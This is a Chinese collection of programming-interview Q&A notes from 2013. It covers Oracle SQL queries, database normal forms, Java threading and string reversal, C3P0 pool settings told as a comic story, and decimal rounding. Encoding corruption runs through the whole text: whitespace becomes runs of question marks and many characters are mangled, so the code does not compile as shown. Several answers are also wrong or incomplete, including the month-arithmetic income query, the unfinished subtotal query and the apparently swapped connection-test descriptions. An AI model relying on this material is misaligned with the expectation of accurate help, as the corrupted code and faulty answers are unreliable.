假設(shè)目前需要對所有部門表進(jìn)行分頁查詢(不用考慮問題1的部門級別),每頁數(shù)據(jù)顯示10條記錄,目前要查第3頁的部門數(shù)據(jù),請寫出查詢sql(假設(shè)部門不止30個(gè)) ?
??
SELECT * FROM ??
( ?
SELECT A.*, ROWNUM RN ??
FROM (SELECT * FROM sec_dept) A ??
WHERE ROWNUM <= 30 ?
) ?
WHERE RN >= 21; ?
??
問題25、數(shù)據(jù)庫編程題? ?
現(xiàn)有工資表income字段如下: ?
Income_time Date ? ?person ?Dept_id Dept_name ? income ??
收入日期 ? ?人員 ?部門id ? ?部門名稱 ? ?收入 ?
??
建表語句: ?
DROP TABLE income; ?
CREATE TABLE income( ?
income_time Date, ?
person VARCHAR2(50), ?
Dept_id VARCHAR(20), ?
Dept_name VARCHAR(20), ?
income number ?
); ?
??
INSERT INTO income values(sysdate,'A號','1','A部門',1000); ?
INSERT INTO income values(add_months(sysdate,-1),'A號','1','A部門',2000); ?
INSERT INTO income values(add_months(sysdate,1),'A號','1','A部門',3000); ?
INSERT INTO income values(sysdate,'B號','2','B部門',700); ?
INSERT INTO income values(add_months(sysdate,-1),'B號','2','B部門',500); ?
INSERT INTO income values(add_months(sysdate,1),'B號','2','B部門',600); ?
INSERT INTO income values(sysdate,'C號','3','C部門',4000); ?
INSERT INTO income values(add_months(sysdate,-1),'C號','3','C部門',3500); ?
INSERT INTO income values(add_months(sysdate,1),'C號','3','C部門',4500); ?
??
??
要求用一個(gè)SQL語句(注意是一個(gè))的處所有人(不區(qū)分人員)每個(gè)月及上月和下月的總收入 ?
要求列表輸出為: ?
年份 ?月份 ?當(dāng)月收入 ? ?上月收入 ? ?下月收入 ?
?
??
select ??
(SELECT to_char(sysdate,'yyyy') from dual) as "年份", ?
(SELECT to_char(sysdate,'mm') from dual) as "月份", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')) as "當(dāng)月收入", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')-1) as "上月收入", ?
(SELECT sum(income) from income where to_char(income_time,'mm')=to_char(sysdate,'mm')+1) as "下月收入" ??
from dual; ? ? ?
??
查出各個(gè)月份的各部門所有人總收入,要求生成合計(jì)行 ?
生成結(jié)果如: ?
2013年 6月 開發(fā)1部 A君 3000 ?
2013年 6月 開發(fā)1部 B君 3000 ?
2013年 6月 開發(fā)1部 C君 3000 ?
2013年 6月 開發(fā)1部 合計(jì) 9000 ?
2013年 6月 開發(fā)2部 D君 3000 ?
2013年 6月 開發(fā)2部 E君 3000 ?
2013年 6月 開發(fā)2部 合計(jì)6000 ?
??
注意: 統(tǒng)計(jì)了各月份各部門所有人的總收入,但未實(shí)現(xiàn)生成合并行 ?
SELECT to_char(income_time,'yyyy-mm'),dept_name,person,sum(income) ??
FROM income ??
GROUP BY to_char(income_time,'yyyy-mm'),dept_name,person ??
ORDER BY to_char(income_time,'yyyy-mm'); ?
??
問題26、數(shù)據(jù)庫編程題 ?
??
當(dāng)前有兩個(gè)數(shù)據(jù)量很大的寬表A和B ?
A結(jié)構(gòu): ?
Pk_id varchar2(38) ?Filed1 varchar2(200) ? ?Filed2 varchar2(200) ? ?…. ?
主鍵 ?字段1 字段2 其余字段 ?
B結(jié)構(gòu): ?
Pk_id varchar2(38) ?Fk_id varchar2(38) ?Filed1 varchar2(200) ? ?Filed2. varchar2(200) ? …. ?Create_time ??
主鍵 ?關(guān)聯(lián)A的外鍵 ?字段1 字段2 其余字段 ? ?生成時(shí)間 ?
??
其中表B的數(shù)據(jù)每日生成一次,且新增數(shù)量級達(dá)到百萬級。 ?
表A為維表數(shù)據(jù)基本不變。表A和B除主、外鍵沒有任何鍵或其它優(yōu)化措施。 ?
目前需每月通過以下sql統(tǒng)計(jì)出符合條件的B表的Feild1和Field2明細(xì)信息 ?
Select * from B ??
where Months_between(create_time, sysdate) = 0 ??
and fk_id in (select pk_id from A where A.field1 = ‘condition’) ?
若只考慮對上述sql查詢性能的優(yōu)化,可以采取哪些優(yōu)化措施?(優(yōu)化措施可有多種,請盡量列舉) ?
??
1、通配符*號修改為Field1和Field2 ?
2、為A表的Field1建立索引 ?
3、in修改為exists ?
??
2013年9月5日: ?
??
問題1、說說ArrayList,Vector, LinkedList的存儲性能和特性? ?
??
ArrayList和Vector都是使用數(shù)組方式存儲數(shù)據(jù),此數(shù)組元素?cái)?shù)大于實(shí)際存儲的數(shù)據(jù)以便增加和插入元素,它們都允許直接按序號索引元素,但是插入元素要涉及數(shù)組元素移動等內(nèi)存操作,所以索引數(shù)據(jù)快而插入數(shù)據(jù)慢,Vector由于使用了synchronized方法(線程安全),通常性能上較ArrayList差,而LinkedList使用雙向鏈表實(shí)現(xiàn)存儲,按序號索引數(shù)據(jù)需要進(jìn)行前向或后向遍歷,但是插入數(shù)據(jù)時(shí)只需要記錄本項(xiàng)的前后項(xiàng)即可,所以插入速度較快。 ?
LinkedList也是線程不安全的,LinkedList提供了一些方法,使得LinkedList可以被當(dāng)作堆棧和隊(duì)列來使用。 ?
??
問題2、short s1 = 1; s1 = s1 + 1;有什么錯? short s1 = 1; s1 += 1;有什么錯? ?
??
short s1 = 1; s1 = s1 + 1; (s1+1運(yùn)算結(jié)果是int型,需要強(qiáng)制轉(zhuǎn)換類型) ?
short s1 = 1; s1 += 1;(可以正確編譯) ?
??
當(dāng)使用+=、-=、*=、/=、%=、運(yùn)算符對基本類型進(jìn)行運(yùn)算時(shí),遵循如下規(guī)則: ?
運(yùn)算符右邊的數(shù)值將首先被強(qiáng)制轉(zhuǎn)換成與運(yùn)算符左邊數(shù)值相同的類型,然后再執(zhí)行運(yùn)算,且運(yùn)算結(jié)果與運(yùn)算符左邊數(shù)值類型相同。 ?
??
在s1=s1+1;中,s1+1運(yùn)算的結(jié)果是int型,把它賦值給一個(gè)short型變量s1,所以會報(bào)錯 ?
??
而在s1+=1;中,由于s1是short類型的,所以1首先被強(qiáng)制轉(zhuǎn)換為short型,然后再參與運(yùn)算,并且結(jié)果也是short類型的,因此不會報(bào)錯 ?
??
那么,s1=1+1;為什么不報(bào)錯呢? ?
這是因?yàn)?+1是個(gè)編譯時(shí)可以確定的常量,“+”運(yùn)算在編譯時(shí)就被執(zhí)行了,而不是在程序執(zhí)行的時(shí)候,這個(gè)語句的效果等同于s1=2,所以不會報(bào)錯。 ?
??
前面講過了,對基本類型執(zhí)行強(qiáng)制類型轉(zhuǎn)換可能得出錯誤的 ?
結(jié)果,因此在使用+=、-=、*=、/=、%=、等運(yùn)算符時(shí),要多加注意。 ?
??
問題3、說說你對數(shù)據(jù)庫設(shè)計(jì)里的三范式的理解? ?
??
第一范式(1NF)無重復(fù)的列 ?
??
所謂第一范式(1NF)是指數(shù)據(jù)庫表的每一列都是不可分割的基本數(shù)據(jù)項(xiàng),同一列中不能同時(shí)有多個(gè)值,即實(shí)體中的某個(gè)屬性不能有多個(gè)值或者不能有重復(fù)的屬性。 ?
如果出現(xiàn)重復(fù)的屬性,就可能需要定義一個(gè)新的實(shí)體,新的實(shí)體由重復(fù)的屬性構(gòu)成,新實(shí)體與原實(shí)體之間為一對多關(guān)系。在第一范式(1NF)中表的每一行只包含一個(gè)實(shí)例的信息。簡而言之,第一范式就是無重復(fù)的列。 ?
?
在任何一個(gè)關(guān)系數(shù)據(jù)庫中,第一范式(1NF)是對關(guān)系模式的基本要求,不滿足第一范式(1NF)的數(shù)據(jù)庫就不是關(guān)系數(shù)據(jù)庫。 ?
在當(dāng)前的任何關(guān)系數(shù)據(jù)庫管理系統(tǒng)(DBMS)中,不可能做出不符合第一范式的數(shù)據(jù)庫,因?yàn)檫@些DBMS不允許你把數(shù)據(jù)庫表的一列再分成二列或多列。因此,你想在現(xiàn)有的DBMS中設(shè)計(jì)出不符合第一范式的數(shù)據(jù)庫都是不可能的。 ?
舉例: ?
一張學(xué)生表Student(stuNo,stuName,age,age,sex)是不符合第一范式的,因?yàn)橛兄貜?fù)列age屬性。 ?
去除重復(fù)列age以后的Student(stuNo,stuName,age,sex)是符合第一范式的。 ?
??
第二范式(2NF)屬性完全依賴于主鍵 [ 消除部分子函數(shù)依賴 ] ?
??
第二范式(2NF)是在第一范式(1NF)的基礎(chǔ)上建立起來的,即滿足第二范式(2NF)必須先滿足第一范式(1NF)。 ?
第二范式(2NF)要求數(shù)據(jù)庫表中的每個(gè)實(shí)例或行必須可以被唯一地區(qū)分。為實(shí)現(xiàn)區(qū)分通常需要為表加上一個(gè)列,以存儲各個(gè)實(shí)例的唯一標(biāo)識。 ?
例如員工信息表中加上了員工編號(emp_id)列,因?yàn)槊總€(gè)員工的員工編號是唯一的,因此每個(gè)員工可以被唯一區(qū)分。這個(gè)唯一屬性列被稱為主關(guān)鍵字或主鍵、主碼。 ?
? ?
第二范式(2NF)要求實(shí)體的屬性完全依賴于主關(guān)鍵字。 ?
所謂完全依賴是指不能存在僅依賴主關(guān)鍵字一部分的屬性,如果存在,那么這個(gè)屬性和主關(guān)鍵字的這一部分應(yīng)該分離出來形成一個(gè)新的實(shí)體,新實(shí)體與原實(shí)體之間是一對多的關(guān)系。 ?
為實(shí)現(xiàn)區(qū)分通常需要為表加上一個(gè)列,以存儲各個(gè)實(shí)例的唯一標(biāo)識。簡而言之,第二范式就是屬性完全依賴于主鍵。 ?
這里說的主關(guān)鍵字可能不只有一個(gè),有些情況下是存在聯(lián)合主鍵的,就是主鍵有多個(gè)屬性。 ?
??
舉例: ?
以學(xué)生選課為例,每個(gè)學(xué)生都可以選課,并且有這一門課程的成績,那么如果將這些信息都放在一張表StuGrade(stuNo,stuName,age,sex,courseNo,courseName,credit,score)。 ?
?
如果不仔細(xì)看,我們會以為這張表的主鍵是stuNo,但是當(dāng)我們看到最后一個(gè)score屬性以后,在想想如果沒有課程信息,那么哪里有學(xué)生成績信息呢。所以這張表的主鍵是一個(gè)聯(lián)合主鍵(stuNo,corseNo),這個(gè)聯(lián)合屬性能夠唯一確定score屬性。 ?
那么再看其他信息,比如stuName只需要stuNo就能夠唯一確定,courseName只需要courseNo就能夠唯一確定,因此這樣就存在了部分依賴,不符合第二范式。 ?
如果要讓學(xué)生課程成績信息滿足第二范式,那么久需要將這張表拆分成多張表,一張學(xué)生表Studnet(stuNo,stuName,age,sex),一張課程表Course(courseNo,courseName,credit),還有最后一張學(xué)生課程成績表StuGrade(stuNo,courseNo,score)。如下: ?
?
這樣就符合第二范式了。 ?
??
第三范式(3NF)屬性不依賴于其它非主屬性 [ 消除傳遞依賴 ] ?
??
滿足第三范式(3NF)必須先滿足第二范式(2NF)。 ?
簡而言之,第三范式(3NF)要求一個(gè)數(shù)據(jù)庫表中不包含已在其它表中已包含的非主關(guān)鍵字信息。 ?
??
舉例: ?
? ?
每一個(gè)員工都有一個(gè)所屬部門,假如有一個(gè)員工信息表 ?
Employee(emp_id,emp_name,emp_age,dept_id,dept_name,dept_info) ?
?
這張員工信息表的主鍵是emp_id,因?yàn)檫@個(gè)屬性能夠唯一確定其他所有屬性,比如知道員工編號emp_id以后,肯定能夠知道員工姓名,所屬部門編號,部門名稱和部門介紹。 ?
所以這里dept_id不是主屬性,而是非主屬性。 ?
?
但是,我們又可以發(fā)現(xiàn)dept_name,dept_info這兩個(gè)屬性也可以由dept_id這個(gè)非主屬性決定,即dept_name依賴dept_id,而dept_id依賴emp_id,這樣就存在了傳遞依賴。而且我們可以看出傳遞依賴的一個(gè)明顯缺點(diǎn)就是數(shù)據(jù)冗余非常嚴(yán)重。 ?
?
那么如何解決傳遞依賴問題? ?
其實(shí)非常簡單,我們只需要將dept_name,dept_info這連個(gè)屬性刪除就可以了。 ?
即修改為Employee(emp_id,emp_name,emp_age,dept_id) ?
然后再創(chuàng)建一個(gè)部門表Dept(dept_id,dept_name,dept_info) ?
?
這樣如果要搜索某一個(gè)員工的部門信息dept_info,可以通過數(shù)據(jù)庫連接來實(shí)現(xiàn),查詢語句如下: ?
SELECT e.emp_id,e.emp_name,d.dept_name ??
FROM Employee e,Dept d ??
WHERE e.dept_id=d.dept_id; ?
?
注意: ?
數(shù)據(jù)庫連接會帶來一部分的性能損失 ?
并不是數(shù)據(jù)庫范式越高效率越高 ?
有時(shí)會在數(shù)據(jù)冗余與范式之間做出權(quán)衡,在實(shí)際的數(shù)據(jù)庫開發(fā)過程中,往往會允許一部分的數(shù)據(jù)冗余來減少數(shù)據(jù)庫連接 ?
??
問題4、數(shù)據(jù)庫范式越高越好嗎? ?
?
使用范式的主要目的是為了減少數(shù)據(jù)冗余、消除插入異常、更新異常、刪除異常。 ?
另外從程序設(shè)計(jì)的角度范式把數(shù)據(jù)模式做到了高內(nèi)聚低耦合讓數(shù)據(jù)組織的更加和諧。 ?
在數(shù)據(jù)庫設(shè)計(jì)中應(yīng)盡量滿足最高范式,但是應(yīng)用的范式等級越高,查詢時(shí)需要連接的表就越多,這樣會增加了查詢的復(fù)雜度,降低了數(shù)據(jù)庫查詢性能處理速度緩慢和處理邏輯復(fù)雜 ?
為了提高數(shù)據(jù)庫的運(yùn)行效率,常常需要降低范式標(biāo)準(zhǔn):適當(dāng)增加冗余,達(dá)到以空間換時(shí)間的目的。 ?
??
??
問題5、設(shè)計(jì)4個(gè)線程,中兩個(gè)線程每次對j增加1,另外兩個(gè)線程對j每次減少1,請寫出代碼? ?
??
// 采用 Runnable 接口方式創(chuàng)建的多條線程可以共享實(shí)例屬性 ?
? ? private int data; ?
??
? ? /* ?
? ? ?* 這里add方法和sub方法加synchronized關(guān)鍵字 ?
? ? ?* 是因?yàn)楫?dāng)兩個(gè)線程同時(shí)操作同一個(gè)變量時(shí) ?
? ? ?* 就算是簡單的j++操作時(shí),在系統(tǒng)底層也是通過多條機(jī)器語句來實(shí)現(xiàn) ?
? ? ?* 所以在執(zhí)行j++過程也是要耗費(fèi)時(shí)間, ?
? ? ?* 這時(shí)就有可能在執(zhí)行j++的時(shí)候,另外一個(gè)線程H就會對j進(jìn)行操作 ?
? ? ?* 因此另外一個(gè)線程H可能操作的可能就 不是最新的值了,因此要提供線程同步 ?
? ? ?*/ ?
? ? ??
? ? // 同步增加方法 ??
? ? private synchronized void add() { ?
? ? ? ? data++; ?
? ? ? ? System.out.println(Thread.currentThread().getName() + ":" + data); ?
? ? } ?
??
? ? // 同步減少方法 ??
? ? private synchronized void sub() { ?
? ? ? ? data--; ?
? ? ? ? System.out.println(Thread.currentThread().getName() + ":" + data); ?
? ? } ?
??
? ? // 增加線程 ?
? ? class Add implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? add(); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
? ? ??
? ? // 減少線程 ?
? ? class Sub implements Runnable { ?
? ? ? ? public void run() { ?
? ? ? ? ? ? for (int i = 0; i < 10; i++) { ?
? ? ? ? ? ? ? ? sub(); ?
? ? ? ? ? ? } ?
? ? ? ? } ?
? ? } ?
??
? ? public static void main(String[] args) throws Exception { ?
? ? ? ? Test t = new Test(); ?
? ? ? ? ??
? ? ? ? //內(nèi)部類的實(shí)例化 ?
? ? ? ? Add add = t.new Add(); ?
? ? ? ? Sub sub = t.new Sub(); ?
??
? ? ? ? //創(chuàng)建線程,每次創(chuàng)建2個(gè)線程,此處為2*n個(gè)線程,n=2 ?
? ? ? ? for (int i = 0; i < 2; i++) { ?
? ? ? ? ? ? Thread t1 = new Thread(add); ?
? ? ? ? ? ? t1.start(); ?
? ? ? ? ? ? Thread t2 = new Thread(sub); ?
? ? ? ? ? ? t2.start(); ?
? ? ? ? } ?
? ? } ?
??
問題6、寫一個(gè)方法,實(shí)現(xiàn)字符串的反轉(zhuǎn),如:輸入abc,輸出cba? ?
??
方法1: ?
String data="abc"; ?
? ? ? ? char[] ch = data.toCharArray(); ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(); ?
? ? ? ? ??
? ? ? ? for (int i = ch.length-1; i >=0; i--) { ?
? ? ? ? ? ? sb.append(ch[i]); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(sb); ?
??
方法2: ?
String data="abc"; ?
? ? ? ? int length = data.length(); ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(length); ?
? ? ? ? ??
? ? ? ? for (int i = length-1; i >= 0; i--) { ?
? ? ? ? ? ? sb.append(data.charAt(i)); ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(sb); ?
??
方法3: ?
String data="abc"; ?
? ? ? ? int length = data.length(); ?
? ? ? ? ??
? ? ? ? String str=""; ?
? ? ? ? ??
? ? ? ? for (int i = 0; i < length; i++) { ?
? ? ? ? ? ? str=data.substring(i,i+1)+str; ?
? ? ? ? ? ? ??
? ? ? ? } ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
方法4: ?
String data="abc"; ?
? ? ? ? ??
? ? ? ? StringBuffer sb=new StringBuffer(data); ?
? ? ? ? ??
? ? ? ? String str = sb.reverse().toString(); ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
方法5:遞歸 ?
public static void main(String[] args) { ?
? ? ? ? String data="abc"; ?
? ? ? ? ??
? ? ? ? String reverse = Test.reverse(data); ?
? ? ? ? ??
? ? ? ? System.out.println(reverse); ?
? ? } ?
? ? ??
? ? public static String reverse(String data){ ?
? ? ? ? if(data.length()==1){ ?
? ? ? ? ? ? return data; ?
? ? ? ? } ?
? ? ? ? ??
? ? ? ? String str = data.substring(data.length()-1, data.length()); ?
? ? ? ? ??
? ? ? ? str+=reverse(data.substring(0,data.length()-1)); ?
? ? ? ? ??
? ? ? ? return str; ?
? ? } ?
??
問題7、對于池技術(shù)的理解?-->以C3P0連接池為例 ?
??
----------------------------故事敘述開始 ?
講個(gè)故事,你就懂了。 ?
??
你出生在古代,并且開了個(gè)餐館。但你比較笨,一開始炒菜時(shí),每炒一道菜都要 生火,炒菜,滅火, 炒第二道菜又要 生火,炒菜,滅火,第三道菜如此....。 ?
開了幾天飯館后,你覺得做菜很慢,跟不上客戶的速度,老被罵,冤枉啊!然后你就分析了,劈材生火最浪費(fèi)時(shí)間,你一拍大腿:“我怎么就沒想到呢? 靠,我炒菜后不滅火不就快了嗎?” ?
掌握了“不滅火大法”真理的你,炒菜速度越發(fā)加快,贏得了新老食客的一致好評。美麗女顧客:“上菜真快呀,親!”。 ?
由于生意太好,好評率100%,顧客大大增加了,你的炒菜速度又跟不上了,你想啊想啊,怎么樣才能增加效率呢? 突然,正看著鍋里“鹵煮寒鴉兒”菜,冰雪聰慧的你突然一拍大腿,這些煮菜、燉菜太費(fèi)時(shí),而出鍋速度快的炒菜要在后面排隊(duì)。我應(yīng)該同時(shí)使用2個(gè)鍋(與爐子)不斷火來做菜,不,3個(gè)鍋! ?
鍋臺的增加使你做菜效率翻了幾倍,食客和他們的小伙伴都驚呆了!然后,顧客自然更多了,面對熙熙攘攘等待上菜的食客,你的嘴角又露出一絲令人不易察覺的奸笑:“繼續(xù)增加鍋臺!”。 ?
可惜這村子小,鍋呢?很貴,你買不起,都是從炊具店租來的。隨著你同時(shí)啟用的鍋越來越多,終于,炊具店沒貨了。這時(shí),你已經(jīng)整整使用了20個(gè)鍋,有好幾個(gè)伙計(jì)在同時(shí)做菜。 ?
你仰天長嘯,“看來老夫最大只能使用同時(shí)20個(gè)鍋了,吉尼斯紀(jì)錄破不了了!已經(jīng)到了我的maxPoolSize了!” ?
maxPoolSize:連接池中保留的最大連接數(shù)。默認(rèn)為15 ?
伙計(jì):“老板,你說什么鳥語?我怎么聽不懂啊?”你:“要不怎么我當(dāng),老板你當(dāng)伙計(jì)呢?”伙計(jì)暗忖:“你妹的!” ----------------------------由于打字?jǐn)⑹鎏闊?#xff0c;以下全部使用對話來闡述劇情 ?
由于啟用了20個(gè)鍋臺,生意大好,到了晚上,伙計(jì)問道:“老板,明天我們上午開張時(shí),一開始同時(shí)燒幾個(gè)鍋?zhàn)友?#xff1f;”你想了想:“5個(gè)把,燒少了客人多了來不及。”伙計(jì):“得令!”你:“恩,就把initialPoolSize設(shè)成5就行了?”伙計(jì):“..............”伙計(jì):“奧,那一開始開5個(gè)鍋,之后呢?客人多了我們增加鍋是一個(gè)一個(gè)加嗎?”你:“笨死了,記好了,當(dāng)鍋不夠用了的時(shí)候,一次加acquireIncrement個(gè)!”伙計(jì):“....你說啥?”你:“額,3個(gè),把a(bǔ)cquireIncrement設(shè)為3.”伙計(jì):“恩,3個(gè),記住了,其他的聽不懂。” ?
initialPoolSize:初始化時(shí)創(chuàng)建的連接數(shù),應(yīng)在minPoolSize與maxPoolSize之間取值。默認(rèn)為3 ?
acquireIncrement:當(dāng)連接池中的連接用完時(shí),C3P0一次性創(chuàng)建新連接的數(shù)目一天后伙計(jì):“哦,老板,一開始開5個(gè)鍋,后來每次連開3個(gè)鍋,連續(xù)生火太嗆人,大家都受不了了,我們應(yīng)該在每個(gè)鍋點(diǎn)火之間休息一小下。”你:“有理,就休息acquireRetryDelay毫秒把,額,10秒,懂了嗎?”伙計(jì):“懂了,太好了,每次給我們10秒鐘來休息,您真是我們的好老板啊!” ?
acquireRetryDelay:兩次連接中間隔時(shí)間,單位毫秒,默認(rèn)為1000一天后伙計(jì):“對了,老板,今天小張伙計(jì)一天都在偷懶。”你:“怎么回事?”伙計(jì):“小張今天拿到了一個(gè)壞鍋,怎么也點(diǎn)不著火,然后他就一直點(diǎn),一直點(diǎn),一天都沒干活,哼!我都累死啦!”你:“這個(gè)小張,真是個(gè)滑頭,好吧。我們從明天立一個(gè)規(guī)矩,鍋點(diǎn)不著火后,只允許重試acquireRetryAttempts次,就設(shè)置為10次把,如果超過10次,就要像我提出異常,我去聯(lián)系炊具店來修理,你們就無法偷懶了,哇卡卡卡卡卡!” ?
acquireRetryAttempts:定義在從數(shù)據(jù)庫獲取新連接失敗后重復(fù)嘗試獲取的次數(shù),默認(rèn)為30一天后伙計(jì):“老板,我們?nèi)耸植粔蛄?#xff0c;20個(gè)鍋,差不多需要7個(gè)人才能耍的過來,人少時(shí)候,利用不了全部的20個(gè)鍋。”你:“好辦,把numHelperThreads設(shè)為7,你們每個(gè)人就是一根線程,記住嘍!”伙計(jì):“我們是什么?”你:“線程!”伙計(jì):“........”伙計(jì):“哦,我去干活了。”你:“你早就該去干活去了,哼!” ?
numHelperThreads:C3P0是異步操作的,緩慢的JDBC操作通過幫助進(jìn)程完成。擴(kuò)展這些操作可以有效的提升性能,通過多線程實(shí)現(xiàn)多個(gè)操作同時(shí)被執(zhí)行。默認(rèn)為3 ?
一天后伙計(jì):“老板,不好了,小張伙計(jì)又偷懶了!”你:“我操,他又怎么了?”伙計(jì):“由于20個(gè)鍋已滿,他拿不到第21個(gè)鍋,就在那里等著,也不去切菜、刷碗,太偷懶了,我都要累死了!”你:“懂了,把checkoutTimeout設(shè)為100000,只要他等待超過100秒,就要像我報(bào)異常,我來為他重新分配任務(wù)!”伙計(jì):“太好啦!!” ?
checkoutTimeout:當(dāng)連接池用完時(shí)客戶端調(diào)用getConnection()后等待獲取新連接的時(shí)間,超時(shí)后將拋出SQLException,如設(shè)為0則無限期等待。單位毫秒,默認(rèn)為0一個(gè)月之后你:“伙計(jì)們,我們開店終于有1個(gè)月了,大家來算一下我們盈利的多少錢,大家分分紅,我這個(gè)人還是很開明的嘛,哈哈哈哈!”伙計(jì):“報(bào)告老板,本店本月凈虧 2000 兩紋銀!”你:“怎么回事?我來看一下賬目!”你:“為什么木柴花錢這么多!!!!!”伙計(jì):“因?yàn)槊刻扉_始時(shí)候是5個(gè)鍋,然后客人多了,每次開3個(gè)鍋,最后20個(gè)鍋全開。然后吃飯高峰過去后客人少了,我們的20個(gè)鍋都還燒著,其實(shí)很多時(shí)候并沒有菜需要炒。”你:“你們?yōu)槭裁床魂P(guān)鍋?????”伙計(jì):“我們炒菜好了,不知道下面有沒有客人來,無法確定剛用完的鍋需不需要滅。”你:“這樣吧,憑你們的智商也解決不了了,從明天開始,你們炒菜的時(shí)候也要長點(diǎn)心,每idleConnectionTestPeriod秒鐘,也就是,額,100秒吧,每100秒檢查一下全部的20個(gè)鍋,如果發(fā)現(xiàn)了某個(gè)鍋已經(jīng)空閑了maxIdleTime秒鐘沒有炒菜,就把他關(guān)了,額設(shè)為60秒吧! ?
idleConnectionTestPeriod:隔多少秒檢查所有連接池中的空閑連接,默認(rèn)為0表示不檢查 ?
maxIdleTime:最大空閑時(shí)間,超過空閑時(shí)間的連接將被丟棄。為0或負(fù)數(shù)則永不丟棄。默認(rèn)為0 ?
伙計(jì):“老板英明,不過,如果一段時(shí)間沒人吃飯,所有鍋都關(guān)了,再來客人的時(shí)候,生火來不及啊,我們是不是應(yīng)該保留最少幾個(gè)鍋一直不關(guān)呀?”你:“我靠,跟我說一席話勝,勝讀你十年書啊,你小子是智商見長啊!這樣吧,最后留3個(gè)鍋的火就行了,這就是minPoolSize。” ??
minPoolSize:連接池中保留的最小連接數(shù)你:“恩,說了那么多,你看看怎么樣更好的使用鍋呀?”伙計(jì):“我們可以對鍋進(jìn)行檢查測試,然后再使用。”你:“有理,何時(shí)檢查?”伙計(jì):“把testConnectionOnCheckin設(shè)成true就可以在每次新開一個(gè)鍋的時(shí)候檢查了,如果把testConnectionOnCheckout設(shè)成true就可以在每次炒菜的時(shí)候檢查了。” ?
?
testConnectionOnCheckin:如果設(shè)為true那么在取得連接的同時(shí)將校驗(yàn)連接的有效性。默認(rèn)為false ?
?
testConnectionOnCheckout:因性能消耗大請只在需要的時(shí)候使用它。如果設(shè)為true那么在每個(gè)connection提交的時(shí)候都將校驗(yàn)其有效性。建議使用idleConnectionTestPeriod或automaticTestTable等方法來提升連接測試的性能。默認(rèn)為 false你:“我擦,原來你會英語啊!”伙計(jì):“我,我,我,我說了什么了?我什么都不知道啊!”你:“小張、小王、小李,速來把這個(gè)伙計(jì)拖到后面,亂棍打死,他知道的太多了。”小張、小王、小李:“嘿嘿,我們等了好久了!”“啊啊啊啊”就在這個(gè)時(shí)候,你被經(jīng)理一巴掌拍醒。經(jīng)理:“別睡啦!天亮啦,起來干活啦!昨夜讓你通宵加班,你卻在電腦前睡覺,這樣吧,今晚你再通個(gè)宵!”你:“............” ?
----------------------------故事敘述結(jié)束 ?
??
2013年9月9日: ?
??
問題1、如何取小數(shù)點(diǎn)前兩位,并四舍五入,再進(jìn)行顯示百分比? ?
??
小數(shù)點(diǎn)前兩位方法1: ?
BigDecimal bd = new BigDecimal(0.4567); ?
??
? ? ? ? // 保留兩位小數(shù)且向上進(jìn)位的四舍五入,四舍五入后要重新賦值,不僅只setScale ?
? ? ? ? BigDecimal bds = bd.setScale(2, BigDecimal.ROUND_HALF_UP); ?
??
? ? ? ? System.out.println(bds); ?
??
小數(shù)點(diǎn)前兩位方法2: ?
DecimalFormat df = new DecimalFormat("#,##0.00"); ?
? ? ? ? ? ? ??
? ? ? ? df.setRoundingMode(RoundingMode.HALF_UP); ?
??
? ? ? ? String str = df.format(1234.4547); ?
? ? ? ? ??
? ? ? ? System.out.println(str); ?
??
百分比顯示: ?
DecimalFormat df=new DecimalFormat("0.00%"); ?
? ? ? ? df.setRoundingMode(RoundingMode.HALF_UP); ?
? ? ? ? ??
? ? ? ? String str = df.format(0.4567); ?
? ? ? ? ??
? ? ? ? System.out.println(str);
總結(jié)